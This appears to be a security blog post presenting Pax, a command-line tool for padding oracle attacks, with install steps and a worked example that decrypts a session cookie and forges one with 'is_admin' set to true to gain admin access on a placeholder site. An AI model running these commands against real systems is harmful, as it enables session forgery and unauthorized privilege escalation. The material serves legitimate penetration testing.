Kali Linux

Pax : CLI Tool For PKCS7 Padding Oracle Attacks

Pax, Exploit padding oracles for fun and profit!

Pax (PAdding oracle eXploiter) is a tool for exploiting padding oracles in order to:

  • Obtain plaintext for a given piece of CBC encrypted data.
  • Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by the oracle.

This can be used to disclose encrypted session information, and often to bypass authentication, elevate privileges and to execute code remotely by encrypting custom plaintext and writing it back to the server.

As always, this tool should only be used on systems you own and/or have permission to probe!

Installation

Download from releases, or install with Go:

go get -u github.com/liamg/pax/cmd/pax

Example Usage

If you find a suspected oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:

pax decrypt –url https://target.site/profile.php –sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D –block-size 16 –cookies “SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D”

This will hopefully give you some plaintext, perhaps something like:

{“user_id”: 456, “is_admin”: false}

It looks like you could elevate your privileges here!

You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:

pax encrypt –url https://target.site/profile.php –sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D –block-size 16 –cookies “SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D” –plain-text ‘{“user_id”: 456, “is_admin”: true}’

This will spit out another base64 encoded set of encrypted data, perhaps something like:

dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=

Now you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.

R K

Recent Posts

How to Install Docker on Ubuntu (Step-by-Step Guide)

Docker is a powerful open-source containerization platform that allows developers to build, test, and deploy…

1 day ago

Uninstall Docker on Ubuntu

Docker is one of the most widely used containerization platforms. But there may come a…

1 day ago

Admin Panel Dorks : A Complete List of Google Dorks

Introduction Google Dorking is a technique where advanced search operators are used to uncover information…

2 days ago

Log Analysis Fundamentals

Introduction In cybersecurity and IT operations, logging fundamentals form the backbone of monitoring, forensics, and…

3 days ago

Networking Devices 101: Understanding Routers, Switches, Hubs, and More

What is Networking? Networking brings together devices like computers, servers, routers, and switches so they…

4 days ago

Sock Puppets in OSINT: How to Build and Use Research Accounts

Introduction In the world of Open Source Intelligence (OSINT), anonymity and operational security (OPSEC) are…

4 days ago